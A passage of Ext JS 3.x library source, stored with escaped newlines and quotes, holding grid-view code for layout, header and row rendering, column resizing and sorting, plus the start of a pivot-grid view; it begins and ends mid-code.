a, k, h)\n                }\n            }\n        } else {\n            a.fireEvent(\"container\" + b, a, h)\n        }\n    }\n}, layout:function (j) {\n    if (!this.mainBody) {\n        return\n    }\n    var a = this.grid, d = a.getGridEl(), c = d.getSize(true), i = c.width, b = c.height, h = this.scroller, g, e, k;\n    if (i < 20 || b < 20) {\n        return\n    }\n    if (a.autoHeight) {\n        g = h.dom.style;\n        g.overflow = \"visible\";\n        if (Ext.isWebKit) {\n            g.position = \"static\"\n        }\n    } else {\n        this.el.setSize(i, b);\n        e = this.mainHd.getHeight();\n        k = b - e;\n        h.setSize(i, k);\n        if (this.innerHd) {\n            this.innerHd.style.width = (i) + \"px\"\n        }\n    }\n    if (this.forceFit || (j === true && this.autoFill)) {\n        if (this.lastViewWidth != i) {\n            this.fitColumns(false, false);\n            this.lastViewWidth = i\n        }\n    } else {\n        this.autoExpand();\n        this.syncHeaderScroll()\n    }\n    this.onLayout(i, k)\n}, onLayout:function (a, b) {\n}, onColumnWidthUpdated:function (c, a, b) {\n}, onAllColumnWidthsUpdated:function (a, b) {\n}, onColumnHiddenUpdated:function (b, c, a) {\n}, updateColumnText:function (a, b) {\n}, afterMove:function (a) {\n}, init:function (a) {\n    this.grid = a;\n    this.initTemplates();\n    this.initData(a.store, a.colModel);\n    this.initUI(a)\n}, getColumnId:function (a) {\n    return this.cm.getColumnId(a)\n}, getOffsetWidth:function () {\n    return(this.cm.getTotalWidth() + this.getScrollOffset()) + \"px\"\n}, getScrollOffset:function () {\n    return Ext.num(this.scrollOffset, Ext.getScrollBarWidth())\n}, renderHeaders:function () {\n    var e = this.cm, g = this.templates, a = g.hcell, d = {}, h = e.getColumnCount(), j = h - 1, k = [], c, b;\n    for (c = 0; c < h; c++) {\n        if (c == 0) {\n            b = \"x-grid3-cell-first \"\n        } else {\n            b = c == j ? \"x-grid3-cell-last \" : \"\"\n        }\n        d = {id:e.getColumnId(c), value:e.getColumnHeader(c) || \"\", style:this.getColumnStyle(c, true), css:b, tooltip:this.getColumnTooltip(c)};\n        if (e.config[c].align == \"right\") {\n            d.istyle = \"padding-right: 16px;\"\n        } else {\n            delete d.istyle\n        }\n        k[c] = a.apply(d)\n    }\n    return g.header.apply({cells:k.join(\"\"), tstyle:String.format(\"width: {0};\", this.getTotalWidth())})\n}, getColumnTooltip:function (a) {\n    var b = this.cm.getColumnTooltip(a);\n    if (b) {\n        if (Ext.QuickTips.isEnabled()) {\n            return'ext:qtip=\"' + b + '\"'\n        } else {\n            return'title=\"' + b + '\"'\n        }\n    }\n    return\"\"\n}, beforeUpdate:function () {\n    this.grid.stopEditing(true)\n}, updateHeaders:function () {\n    this.innerHd.firstChild.innerHTML = this.renderHeaders();\n    this.updateHeaderWidth(false)\n}, updateHeaderWidth:function (c) {\n    var b = this.innerHd.firstChild, a = this.getTotalWidth();\n    b.style.width = this.getOffsetWidth();\n    b.firstChild.style.width = a;\n    if (c !== false) {\n        this.mainBody.dom.style.width = a\n    }\n}, focusRow:function (a) {\n    this.focusCell(a, 0, false)\n}, focusCell:function (d, b, c) {\n    this.syncFocusEl(this.ensureVisible(d, b, c));\n    var a = this.focusEl;\n    if (Ext.isGecko) {\n        a.focus()\n    } else {\n        a.focus.defer(1, a)\n    }\n}, resolveCell:function (h, d, g) {\n    if (!Ext.isNumber(h)) {\n        h = h.rowIndex\n    }\n    if (!this.ds) {\n        return null\n    }\n    if (h < 0 || h >= this.ds.getCount()) {\n        return null\n    }\n    d = (d !== undefined ? d : 0);\n    var c = this.getRow(h), b = this.cm, e = b.getColumnCount(), a;\n    if (!(g === false && d === 0)) {\n        while (d < e && b.isHidden(d)) {\n            d++\n        }\n        a = this.getCell(h, d)\n    }\n    return{row:c, cell:a}\n}, getResolvedXY:function (b) {\n    if (!b) {\n        return null\n    }\n    var a = b.cell, c = b.row;\n    if (a) {\n        return Ext.fly(a).getXY()\n    } else {\n        return[this.el.getX(), Ext.fly(c).getY()]\n    }\n}, syncFocusEl:function (d, a, c) {\n    var b = d;\n    if (!Ext.isArray(b)) {\n        d = Math.min(d, Math.max(0, this.getRows().length - 1));\n        if (isNaN(d)) {\n            return\n        }\n        b = this.getResolvedXY(this.resolveCell(d, a, c))\n    }\n    this.focusEl.setXY(b || this.scroller.getXY())\n}, ensureVisible:function (t, g, e) {\n    var r = this.resolveCell(t, g, e);\n    if (!r || !r.row) {\n        return null\n    }\n    var k = r.row, h = r.cell, n = this.scroller.dom, d = k, s = 0, o = this.el.dom;\n    while (d && d != o) {\n        s += d.offsetTop;\n        d = d.offsetParent\n    }\n    s -= this.mainHd.dom.offsetHeight;\n    o = parseInt(n.scrollTop, 10);\n    var q = s + k.offsetHeight, a = n.clientHeight, m = o + a;\n    if (s < o) {\n        n.scrollTop = s\n    } else {\n        if (q > m) {\n            n.scrollTop = q - a\n        }\n    }\n    if (e !== false) {\n        var l = parseInt(h.offsetLeft, 10), j = l + h.offsetWidth, i = parseInt(n.scrollLeft, 10), b = i + n.clientWidth;\n        if (l < i) {\n            n.scrollLeft = l\n        } else {\n            if (j > b) {\n                n.scrollLeft = j - n.clientWidth\n            }\n        }\n    }\n    return this.getResolvedXY(r)\n}, insertRows:function (a, i, e, h) {\n    var d = a.getCount() - 1;\n    if (!h && i === 0 && e >= d) {\n        this.fireEvent(\"beforerowsinserted\", this, i, e);\n        this.refresh();\n        this.fireEvent(\"rowsinserted\", this, i, e)\n    } else {\n        if (!h) {\n            this.fireEvent(\"beforerowsinserted\", this, i, e)\n        }\n        var b = this.renderRows(i, e), g = this.getRow(i);\n        if (g) {\n            if (i === 0) {\n                Ext.fly(this.getRow(0)).removeClass(this.firstRowCls)\n            }\n            Ext.DomHelper.insertHtml(\"beforeBegin\", g, b)\n        } else {\n            var c = this.getRow(d - 1);\n            if (c) {\n                Ext.fly(c).removeClass(this.lastRowCls)\n            }\n            Ext.DomHelper.insertHtml(\"beforeEnd\", this.mainBody.dom, b)\n        }\n        if (!h) {\n            this.processRows(i);\n            this.fireEvent(\"rowsinserted\", this, i, e)\n        } else {\n            if (i === 0 || i >= d) {\n                Ext.fly(this.getRow(i)).addClass(i === 0 ? this.firstRowCls : this.lastRowCls)\n            }\n        }\n    }\n    this.syncFocusEl(i)\n}, deleteRows:function (a, c, b) {\n    if (a.getRowCount() < 1) {\n        this.refresh()\n    } else {\n        this.fireEvent(\"beforerowsdeleted\", this, c, b);\n        this.removeRows(c, b);\n        this.processRows(c);\n        this.fireEvent(\"rowsdeleted\", this, c, b)\n    }\n}, getColumnStyle:function (b, d) {\n    var a = this.cm, g = a.config, c = d ? \"\" : g[b].css || \"\", e = g[b].align;\n    c += String.format(\"width: {0};\", this.getColumnWidth(b));\n    if (a.isHidden(b)) {\n        c += \"display: none; \"\n    }\n    if (e) {\n        c += String.format(\"text-align: {0};\", e)\n    }\n    return c\n}, getColumnWidth:function (b) {\n    var c = this.cm.getColumnWidth(b), a = this.borderWidth;\n    if (Ext.isNumber(c)) {\n        if (Ext.isBorderBox || (Ext.isWebKit && !Ext.isSafari2)) {\n            return c + \"px\"\n        } else {\n            return Math.max(c - a, 0) + \"px\"\n        }\n    } else {\n        return c\n    }\n}, getTotalWidth:function () {\n    return this.cm.getTotalWidth() + \"px\"\n}, fitColumns:function (g, j, h) {\n    var a = this.grid, l = this.cm, s = l.getTotalWidth(false), q = this.getGridInnerWidth(), r = q - s, c = [], o = 0, n = 0, u, d, p;\n    if (q < 20 || r === 0) {\n        return false\n    }\n    var e = l.getColumnCount(true), m = l.getColumnCount(false), b = e - (Ext.isNumber(h) ? 1 : 0);\n    if (b === 0) {\n        b = 1;\n        h = undefined\n    }\n    for (p = 0; p < m; p++) {\n        if (!l.isFixed(p) && p !== h) {\n            u = l.getColumnWidth(p);\n            c.push(p, u);\n            if (!l.isHidden(p)) {\n                o = p;\n                n += u\n            }\n        }\n    }\n    d = (q - l.getTotalWidth()) / n;\n    while (c.length) {\n        u = c.pop();\n        p = c.pop();\n        l.setColumnWidth(p, Math.max(a.minColumnWidth, Math.floor(u + u * d)), true)\n    }\n    s = l.getTotalWidth(false);\n    if (s > q) {\n        var t = (b == e) ? o : h, k = Math.max(1, l.getColumnWidth(t) - (s - q));\n        l.setColumnWidth(t, k, true)\n    }\n    if (g !== true) {\n        this.updateAllColumnWidths()\n    }\n    return true\n}, autoExpand:function (k) {\n    var a = this.grid, i = this.cm, e = this.getGridInnerWidth(), c = i.getTotalWidth(false), g = a.autoExpandColumn;\n    if (!this.userResized && g) {\n        if (e != c) {\n            var j = i.getIndexById(g), b = i.getColumnWidth(j), h = e - c + b, d = Math.min(Math.max(h, a.autoExpandMin), a.autoExpandMax);\n            if (b != d) {\n                i.setColumnWidth(j, d, true);\n                if (k !== true) {\n                    this.updateColumnWidth(j, d)\n                }\n            }\n        }\n    }\n}, getGridInnerWidth:function () {\n    return this.grid.getGridEl().getWidth(true) - this.getScrollOffset()\n}, getColumnData:function () {\n    var e = [], c = this.cm, g = c.getColumnCount(), a = this.ds.fields, d, b;\n    for (d = 0; d < g; d++) {\n        b = c.getDataIndex(d);\n        e[d] = {name:Ext.isDefined(b) ? b : (a.get(d) ? a.get(d).name : undefined), renderer:c.getRenderer(d), scope:c.getRendererScope(d), id:c.getColumnId(d), style:this.getColumnStyle(d)}\n    }\n    return e\n}, renderRows:function (i, c) {\n    var a = this.grid, g = a.store, j = a.stripeRows, e = a.colModel, h = e.getColumnCount(), d = g.getCount(), b;\n    if (d < 1) {\n        return\"\"\n    }\n    i = i || 0;\n    c = Ext.isDefined(c) ? c : d - 1;\n    b = g.getRange(i, c);\n    return this.doRender(this.getColumnData(), b, g, i, h, j)\n}, renderBody:function () {\n    var a = this.renderRows() || \"&#160;\";\n    return this.templates.body.apply({rows:a})\n}, refreshRow:function (g) {\n    var l = this.ds, m = this.cm.getColumnCount(), c = this.getColumnData(), n = m - 1, p = [\"x-grid3-row\"], e = {tstyle:String.format(\"width: {0};\", this.getTotalWidth())}, a = [], k = this.templates.cell, j, q, b, o, h, d;\n    if (Ext.isNumber(g)) {\n        j = g;\n        g = l.getAt(j)\n    } else {\n        j = l.indexOf(g)\n    }\n    if (!g || j < 0) {\n        return\n    }\n    for (d = 0; d < m; d++) {\n        b = c[d];\n        if (d == 0) {\n            h = \"x-grid3-cell-first\"\n        } else {\n            h = (d == n) ? \"x-grid3-cell-last \" : \"\"\n        }\n        o = {id:b.id, style:b.style, css:h, attr:\"\", cellAttr:\"\"};\n        o.value = b.renderer.call(b.scope, g.data[b.name], o, g, j, d, l);\n        if (Ext.isEmpty(o.value)) {\n            o.value = \"&#160;\"\n        }\n        if (this.markDirty && g.dirty && typeof g.modified[b.name] != \"undefined\") {\n            o.css += \" x-grid3-dirty-cell\"\n        }\n        a[d] = k.apply(o)\n    }\n    q = this.getRow(j);\n    q.className = \"\";\n    if (this.grid.stripeRows && ((j + 1) % 2 === 0)) {\n        p.push(\"x-grid3-row-alt\")\n    }\n    if (this.getRowClass) {\n        e.cols = m;\n        p.push(this.getRowClass(g, j, e, l))\n    }\n    this.fly(q).addClass(p).setStyle(e.tstyle);\n    e.cells = a.join(\"\");\n    q.innerHTML = this.templates.rowInner.apply(e);\n    this.fireEvent(\"rowupdated\", this, j, g)\n}, refresh:function (b) {\n    this.fireEvent(\"beforerefresh\", this);\n    this.grid.stopEditing(true);\n    var a = this.renderBody();\n    this.mainBody.update(a).setWidth(this.getTotalWidth());\n    if (b === true) {\n        this.updateHeaders();\n        this.updateHeaderSortState()\n    }\n    this.processRows(0, true);\n    this.layout();\n    this.applyEmptyText();\n    this.fireEvent(\"refresh\", this)\n}, applyEmptyText:function () {\n    if (this.emptyText && !this.hasRows()) {\n        this.mainBody.update('<div class=\"x-grid-empty\">' + this.emptyText + \"</div>\")\n    }\n}, updateHeaderSortState:function () {\n    var b = this.ds.getSortState();\n    if (!b) {\n        return\n    }\n    if (!this.sortState || (this.sortState.field != b.field || this.sortState.direction != b.direction)) {\n        this.grid.fireEvent(\"sortchange\", this.grid, b)\n    }\n    this.sortState = b;\n    var c = this.cm.findColumnIndex(b.field);\n    if (c != -1) {\n        var a = b.direction;\n        this.updateSortIcon(c, a)\n    }\n}, clearHeaderSortState:function () {\n    if (!this.sortState) {\n        return\n    }\n    this.grid.fireEvent(\"sortchange\", this.grid, null);\n    this.mainHd.select(\"td\").removeClass(this.sortClasses);\n    delete this.sortState\n}, destroy:function () {\n    var j = this, a = j.grid, d = a.getGridEl(), i = j.dragZone, g = j.splitZone, h = j.columnDrag, e = j.columnDrop, k = j.scrollToTopTask, c, b;\n    if (k && k.cancel) {\n        k.cancel()\n    }\n    Ext.destroyMembers(j, \"colMenu\", \"hmenu\");\n    j.initData(null, null);\n    j.purgeListeners();\n    Ext.fly(j.innerHd).un(\"click\", j.handleHdDown, j);\n    if (a.enableColumnMove) {\n        c = h.dragData;\n        b = h.proxy;\n        Ext.destroy(h.el, b.ghost, b.el, e.el, e.proxyTop, e.proxyBottom, c.ddel, c.header);\n        if (b.anim) {\n            Ext.destroy(b.anim)\n        }\n        delete b.ghost;\n        delete c.ddel;\n        delete c.header;\n        h.destroy();\n        delete Ext.dd.DDM.locationCache[h.id];\n        delete h._domRef;\n        delete e.proxyTop;\n        delete e.proxyBottom;\n        e.destroy();\n        delete Ext.dd.DDM.locationCache[\"gridHeader\" + d.id];\n        delete e._domRef;\n        delete Ext.dd.DDM.ids[e.ddGroup]\n    }\n    if (g) {\n        g.destroy();\n        delete g._domRef;\n        delete Ext.dd.DDM.ids[\"gridSplitters\" + d.id]\n    }\n    Ext.fly(j.innerHd).removeAllListeners();\n    Ext.removeNode(j.innerHd);\n    delete j.innerHd;\n    Ext.destroy(j.el, j.mainWrap, j.mainHd, j.scroller, j.mainBody, j.focusEl, j.resizeMarker, j.resizeProxy, j.activeHdBtn, j._flyweight, i, g);\n    delete a.container;\n    if (i) {\n        i.destroy()\n    }\n    Ext.dd.DDM.currentTarget = null;\n    delete Ext.dd.DDM.locationCache[d.id];\n    Ext.EventManager.removeResizeListener(j.onWindowResize, j)\n}, onDenyColumnHide:function () {\n}, render:function () {\n    if (this.autoFill) {\n        var a = this.grid.ownerCt;\n        if (a && a.getLayout()) {\n            a.on(\"afterlayout\", function () {\n                this.fitColumns(true, true);\n                this.updateHeaders();\n                this.updateHeaderSortState()\n            }, this, {single:true})\n        }\n    } else {\n        if (this.forceFit) {\n            this.fitColumns(true, false)\n        } else {\n            if (this.grid.autoExpandColumn) {\n                this.autoExpand(true)\n            }\n        }\n    }\n    this.grid.getGridEl().dom.innerHTML = this.renderUI();\n    this.afterRenderUI()\n}, initData:function (a, e) {\n    var b = this;\n    if (b.ds) {\n        var d = b.ds;\n        d.un(\"add\", b.onAdd, b);\n        d.un(\"load\", b.onLoad, b);\n        d.un(\"clear\", b.onClear, b);\n        d.un(\"remove\", b.onRemove, b);\n        d.un(\"update\", b.onUpdate, b);\n        d.un(\"datachanged\", b.onDataChange, b);\n        if (d !== a && d.autoDestroy) {\n            d.destroy()\n        }\n    }\n    if (a) {\n        a.on({scope:b, load:b.onLoad, add:b.onAdd, remove:b.onRemove, update:b.onUpdate, clear:b.onClear, datachanged:b.onDataChange})\n    }\n    if (b.cm) {\n        var c = b.cm;\n        c.un(\"configchange\", b.onColConfigChange, b);\n        c.un(\"widthchange\", b.onColWidthChange, b);\n        c.un(\"headerchange\", b.onHeaderChange, b);\n        c.un(\"hiddenchange\", b.onHiddenChange, b);\n        c.un(\"columnmoved\", b.onColumnMove, b)\n    }\n    if (e) {\n        delete b.lastViewWidth;\n        e.on({scope:b, configchange:b.onColConfigChange, widthchange:b.onColWidthChange, headerchange:b.onHeaderChange, hiddenchange:b.onHiddenChange, columnmoved:b.onColumnMove})\n    }\n    b.ds = a;\n    b.cm = e\n}, onDataChange:function () {\n    this.refresh(true);\n    this.updateHeaderSortState();\n    this.syncFocusEl(0)\n}, onClear:function () {\n    this.refresh();\n    this.syncFocusEl(0)\n}, onUpdate:function (b, a) {\n    this.refreshRow(a)\n}, onAdd:function (b, a, c) {\n    this.insertRows(b, c, c + (a.length - 1))\n}, onRemove:function (b, a, c, d) {\n    if (d !== true) {\n        this.fireEvent(\"beforerowremoved\", this, c, a)\n    }\n    this.removeRow(c);\n    if (d !== true) {\n        this.processRows(c);\n        this.applyEmptyText();\n        this.fireEvent(\"rowremoved\", this, c, a)\n    }\n}, onLoad:function () {\n    if (Ext.isGecko) {\n        if (!this.scrollToTopTask) {\n            this.scrollToTopTask = new Ext.util.DelayedTask(this.scrollToTop, this)\n        }\n        this.scrollToTopTask.delay(1)\n    } else {\n        this.scrollToTop()\n    }\n}, onColWidthChange:function (a, b, c) {\n    this.updateColumnWidth(b, c)\n}, onHeaderChange:function (a, b, c) {\n    this.updateHeaders()\n}, onHiddenChange:function (a, b, c) {\n    this.updateColumnHidden(b, c)\n}, onColumnMove:function (a, c, b) {\n    this.indexMap = null;\n    this.refresh(true);\n    this.restoreScroll(this.getScrollState());\n    this.afterMove(b);\n    this.grid.fireEvent(\"columnmove\", c, b)\n}, onColConfigChange:function () {\n    delete this.lastViewWidth;\n    this.indexMap = null;\n    this.refresh(true)\n}, initUI:function (a) {\n    a.on(\"headerclick\", this.onHeaderClick, this)\n}, initEvents:Ext.emptyFn, onHeaderClick:function (b, a) {\n    if (this.headersDisabled || !this.cm.isSortable(a)) {\n        return\n    }\n    b.stopEditing(true);\n    b.store.sort(this.cm.getDataIndex(a))\n}, onRowOver:function (b, a) {\n    var c = this.findRowIndex(a);\n    if (c !== false) {\n        this.addRowClass(c, this.rowOverCls)\n    }\n}, onRowOut:function (b, a) {\n    var c = this.findRowIndex(a);\n    if (c !== false && !b.within(this.getRow(c), true)) {\n        this.removeRowClass(c, this.rowOverCls)\n    }\n}, onRowSelect:function (a) {\n    this.addRowClass(a, this.selectedRowClass)\n}, onRowDeselect:function (a) {\n    this.removeRowClass(a, this.selectedRowClass)\n}, onCellSelect:function (c, b) {\n    var a = this.getCell(c, b);\n    if (a) {\n        this.fly(a).addClass(\"x-grid3-cell-selected\")\n    }\n}, onCellDeselect:function (c, b) {\n    var a = this.getCell(c, b);\n    if (a) {\n        this.fly(a).removeClass(\"x-grid3-cell-selected\")\n    }\n}, handleWheel:function (a) {\n    a.stopPropagation()\n}, onColumnSplitterMoved:function (a, b) {\n    this.userResized = true;\n    this.grid.colModel.setColumnWidth(a, b, true);\n    if (this.forceFit) {\n        this.fitColumns(true, false, a);\n        this.updateAllColumnWidths()\n    } else {\n        this.updateColumnWidth(a, b);\n        this.syncHeaderScroll()\n    }\n    this.grid.fireEvent(\"columnresize\", a, b)\n}, beforeColMenuShow:function () {\n    var b = this.cm, d = b.getColumnCount(), a = this.colMenu, c;\n    a.removeAll();\n    for (c = 0; c < d; c++) {\n        if (b.config[c].hideable !== false) {\n            a.add(new Ext.menu.CheckItem({text:b.getColumnHeader(c), itemId:\"col-\" + b.getColumnId(c), checked:!b.isHidden(c), disabled:b.config[c].hideable === false, hideOnClick:false}))\n        }\n    }\n}, handleHdMenuClick:function (c) {\n    var a = this.ds, b = this.cm.getDataIndex(this.hdCtxIndex);\n    switch (c.getItemId()) {\n        case\"asc\":\n            a.sort(b, \"ASC\");\n            break;\n        case\"desc\":\n            a.sort(b, \"DESC\");\n            break;\n        default:\n            this.handleHdMenuClickDefault(c)\n    }\n    return true\n}, handleHdMenuClickDefault:function (c) {\n    var b = this.cm, d = c.getItemId(), a = b.getIndexById(d.substr(4));\n    if (a != -1) {\n        if (c.checked && b.getColumnsBy(this.isHideableColumn, this).length <= 1) {\n            this.onDenyColumnHide();\n            return\n        }\n        b.setHidden(a, c.checked)\n    }\n}, handleHdDown:function (i, j) {\n    if (Ext.fly(j).hasClass(\"x-grid3-hd-btn\")) {\n        i.stopEvent();\n        var k = this.cm, g = this.findHeaderCell(j), h = this.getCellIndex(g), d = k.isSortable(h), c = this.hmenu, b = c.items, a = this.headerMenuOpenCls;\n        this.hdCtxIndex = h;\n        Ext.fly(g).addClass(a);\n        b.get(\"asc\").setDisabled(!d);\n        b.get(\"desc\").setDisabled(!d);\n        c.on(\"hide\", function () {\n            Ext.fly(g).removeClass(a)\n        }, this, {single:true});\n        c.show(j, \"tl-bl?\")\n    }\n}, handleHdMove:function (k) {\n    var i = this.findHeaderCell(this.activeHdRef);\n    if (i && !this.headersDisabled) {\n        var l = this.splitHandleWidth || 5, j = this.activeHdRegion, p = i.style, m = this.cm, o = \"\", g = k.getPageX();\n        if (this.grid.enableColumnResize !== false) {\n            var a = this.activeHdIndex, b = this.getPreviousVisible(a), n = m.isResizable(a), c = b && m.isResizable(b), d = g - j.left <= l, h = j.right - g <= (!this.activeHdBtn ? l : 2);\n            if (d && c) {\n                o = Ext.isAir ? \"move\" : Ext.isWebKit ? \"e-resize\" : \"col-resize\"\n            } else {\n                if (h && n) {\n                    o = Ext.isAir ? \"move\" : Ext.isWebKit ? \"w-resize\" : \"col-resize\"\n                }\n            }\n        }\n        p.cursor = o\n    }\n}, getPreviousVisible:function (a) {\n    while (a > 0) {\n        if (!this.cm.isHidden(a - 1)) {\n            return a\n        }\n        a--\n    }\n    return undefined\n}, handleHdOver:function (c, b) {\n    var d = this.findHeaderCell(b);\n    if (d && !this.headersDisabled) {\n        var a = this.fly(d);\n        this.activeHdRef = b;\n        this.activeHdIndex = this.getCellIndex(d);\n        this.activeHdRegion = a.getRegion();\n        if (!this.isMenuDisabled(this.activeHdIndex, a)) {\n            a.addClass(\"x-grid3-hd-over\");\n            this.activeHdBtn = a.child(\".x-grid3-hd-btn\");\n            if (this.activeHdBtn) {\n                this.activeHdBtn.dom.style.height = (d.firstChild.offsetHeight - 1) + \"px\"\n            }\n        }\n    }\n}, handleHdOut:function (b, a) {\n    var c = this.findHeaderCell(a);\n    if (c && (!Ext.isIE || !b.within(c, true))) {\n        this.activeHdRef = null;\n        this.fly(c).removeClass(\"x-grid3-hd-over\");\n        c.style.cursor = \"\"\n    }\n}, isMenuDisabled:function (a, b) {\n    return this.cm.isMenuDisabled(a)\n}, hasRows:function () {\n    var a = this.mainBody.dom.firstChild;\n    return a && a.nodeType == 1 && a.className != \"x-grid-empty\"\n}, isHideableColumn:function (a) {\n    return !a.hidden\n}, bind:function (a, b) {\n    this.initData(a, b)\n}});\nExt.grid.GridView.SplitDragZone = Ext.extend(Ext.dd.DDProxy, {constructor:function (a, b) {\n    this.grid = a;\n    this.view = a.getView();\n    this.marker = this.view.resizeMarker;\n    this.proxy = this.view.resizeProxy;\n    Ext.grid.GridView.SplitDragZone.superclass.constructor.call(this, b, \"gridSplitters\" + this.grid.getGridEl().id, {dragElId:Ext.id(this.proxy.dom), resizeFrame:false});\n    this.scroll = false;\n    this.hw = this.view.splitHandleWidth || 5\n}, b4StartDrag:function (a, e) {\n    this.dragHeadersDisabled = this.view.headersDisabled;\n    this.view.headersDisabled = true;\n    var d = this.view.mainWrap.getHeight();\n    this.marker.setHeight(d);\n    this.marker.show();\n    this.marker.alignTo(this.view.getHeaderCell(this.cellIndex), \"tl-tl\", [-2, 0]);\n    this.proxy.setHeight(d);\n    var b = this.cm.getColumnWidth(this.cellIndex), c = Math.max(b - this.grid.minColumnWidth, 0);\n    this.resetConstraints();\n    this.setXConstraint(c, 1000);\n    this.setYConstraint(0, 0);\n    this.minX = a - c;\n    this.maxX = a + 1000;\n    this.startPos = a;\n    Ext.dd.DDProxy.prototype.b4StartDrag.call(this, a, e)\n}, allowHeaderDrag:function (a) {\n    return true\n}, handleMouseDown:function (a) {\n    var h = this.view.findHeaderCell(a.getTarget());\n    if (h && this.allowHeaderDrag(a)) {\n        var k = this.view.fly(h).getXY(), c = k[0], i = a.getXY(), b = i[0], g = h.offsetWidth, d = false;\n        if ((b - c) <= this.hw) {\n            d = -1\n        } else {\n            if ((c + g) - b <= this.hw) {\n                d = 0\n            }\n        }\n        if (d !== false) {\n            this.cm = this.grid.colModel;\n            var j = this.view.getCellIndex(h);\n            if (d == -1) {\n                if (j + d < 0) {\n                    return\n                }\n                while (this.cm.isHidden(j + d)) {\n                    --d;\n                    if (j + d < 0) {\n                        return\n                    }\n                }\n            }\n            this.cellIndex = j + d;\n            this.split = h.dom;\n            if (this.cm.isResizable(this.cellIndex) && !this.cm.isFixed(this.cellIndex)) {\n                Ext.grid.GridView.SplitDragZone.superclass.handleMouseDown.apply(this, arguments)\n            }\n        } else {\n            if (this.view.columnDrag) {\n                this.view.columnDrag.callHandleMouseDown(a)\n            }\n        }\n    }\n}, endDrag:function (g) {\n    this.marker.hide();\n    var a = this.view, c = Math.max(this.minX, g.getPageX()), d = c - this.startPos, b = this.dragHeadersDisabled;\n    a.onColumnSplitterMoved(this.cellIndex, this.cm.getColumnWidth(this.cellIndex) + d);\n    setTimeout(function () {\n        a.headersDisabled = b\n    }, 50)\n}, autoOffset:function () {\n    this.setDelta(0, 0)\n}});\nExt.grid.PivotGridView = Ext.extend(Ext.grid.GridView, {colHeaderCellCls:\"grid-hd-group-cell\", title:\"\", getColumnHeaders:function () {\n    return this.grid.topAxis.buildHeaders()\n}, getRowHeaders:function () {\n    return this.grid.leftAxis.buildHeaders()\n}, renderRows:function (a, t) {\n    var b = this.grid, o = b.extractData(), p = o.length, g = this.templates, s = b.renderer, h = typeof s == \"function\", w = this.getCellCls, n = typeof w == \"function\", d = g.cell, x = g.row, k = [], q = {}, c = \"width:\" + this.getGridInnerWidth() + \"px;\", l, r, e, v, m;\n    a = a || 0;\n    t = Ext.isDefined(t) ? t : p - 1;\n    for (v = 0; v < p; v++) {\n        m = o[v];\n        r = m.length;\n        l = [];\n        for (var u = 0; u < r; u++) {\n            q.id = v + \"-\" + u;\n            q.css = u === 0 ? \"x-grid3-cell-first \" : (u == (r - 1) ? \"x-grid3-cell-last \" : \"\");\n            q.attr = q.cellAttr = \"\";\n            q.value = m[u];\n            if (Ext.isEmpty(q.value)) {\n                q.value = \"&#160;\"\n            }\n            if (h) {\n                q.value = s(q.value)\n            }\n            if (n) {\n                q.css += w(q.value) + \" \"\n            }\n            l[l.length] = d.apply(q)\n        }\n        k[k.length] = x.apply({tstyle:c, cols:r, cells:l.join(\"\"), alt:\"\"})\n    }\n    return k.join(\"\")\n}, masterTpl:new Ext.Template('<div class=\"x-grid3 x-pivotgrid\" hidefocus=\"true\">', '<div class=\"x-grid3-viewport\">', '<div class=\"x-grid3-header\">', '<div class=\"x-grid3-header-title\"><span>{title}</span></div>', '<div class=\"x-grid3-header-inner\">', '<div class=\"x-grid3-header-offset\" style=\"{ostyle}\"></div>', \"</div>\", '<div class=\"x-clear\"></div>', \"</div>\", '<div class=\"x-grid3-scroller\">', '<div class=\"x-grid3-row-headers\"></div>', '<div class=\"x-grid3-body\" style=\"{bstyle}\">{body}</div>', '<a href=\"#\" class=\"x-grid3-focus\" tabIndex=\"-1\"></a>', \"</div>\", \"</div>\", '<div class=\"x-grid3-resize-marker\">&#160;</div>', '<div class=\"x-grid3-resize-proxy\">&#160;</div>', \"</div>\"), initTemplates:function () {\n    Ext.grid.PivotGridView.superclass.initTemplates.apply(this, arguments);\n    var a = this.templates || {};\n    if (!a.gcell) {\n        a.gcell = new Ext.XTemplate('<td class=\"x-grid3-hd x-grid3-gcell x-grid3-td-{id} ux-grid-hd-group-row-{row} ' + this.colHeaderCellCls + '\" style=\"{style}\">', '<div {tooltip} class=\"x-grid3-hd-inner x-grid3-hd-{id}\" unselectable=\"on\" style=\"{istyle}\">', this.grid.enableHdMenu ? '<a class=\"x-grid3-hd-btn\" href=\"#\"></a>' : \"\", \"{value}\", \"</div>\", \"</td>\")\n    }\n    this.templates = a;\n    this.hrowRe = new RegExp(\"ux-grid-hd-group-row-(\\\\d+)\", \"\")\n}, initElements:function () {\n    Ext.grid.PivotGridView.superclass.initElements.apply(this, arguments);\n    this.rowHeadersEl = new Ext.Element(this.scroller.child(\"div.x-grid3-row-headers\"));\n    this.headerTitleEl = new Ext.Element(this.mainHd.child(\"div.x-grid3-header-title\"))\n}, getGridInnerWidth:function () {\n    var a = Ext.grid.PivotGridView.superclass.getGridInnerWidth.apply(this, arguments);\n    return a - this.getTotalRowHeaderWidth()\n}, getTotalRowHeaderWidth:function () {\n    var d = this.getRowHeaders(), c = d.length, b = 0, a;\n    for (a = 0; a < c; a++) {\n        b += d[a].width\n    }\n    return b\n}, getTotalColumnHeaderHeight:function () {\n    return this.getColumnHeaders().length * 21\n}, getCellIndex:function (b) {\n    if (b) {\n        var a = b.className.match(this.colRe), c;\n        if (a && (c = a[1])) {\n            return parseInt(c.split(\"-\")[1], 10)\n        }\n    }\n    return false\n}, renderUI:function () {\n    var b = this.templates, a = this.getGridInnerWidth();\n    return b.master.apply({body:b.body.apply({rows:\"&#160;\"}), ostyle:\"width:\" + a + \"px\", bstyle:\"width:\" + a + \"px\"})\n}, onLayout:function (b, a) {\n    Ext.grid.PivotGridView.superclass.onLayout.apply(this, arguments);\n    var b = this.getGridInnerWidth();\n    this.resizeColumnHeaders(b);\n    this.resizeAllRows(b)\n}, refresh:function (b) {\n    this.fireEvent(\"beforerefresh\", this);\n    this.grid.stopEditing(true);\n    var a = this.renderBody();\n    this.mainBody.update(a).setWidth(this.getGridInnerWidth());\n    if (b === true) {\n        this.updateHeaders();\n        this.updateHeaderSortState()\n    }\n    this.processRows(0, true);\n    this.layout();\n    this.applyEmptyText();\n    this.fireEvent(\"refresh\", this)\n}, renderHeaders:Ext.emptyFn, fitColumns:Ext.emptyFn, resizeColumnHeaders:function (b) {\n    var a = this.grid.topAxis;\n    if (a.rendered) {\n        a.el.setWidth(b)\n    }\n}, resizeRowHeaders:function () {\n    var a = this.getTotalRowHeaderWidth(), b = String.format(\"margin-left: {0}px;\", a);\n    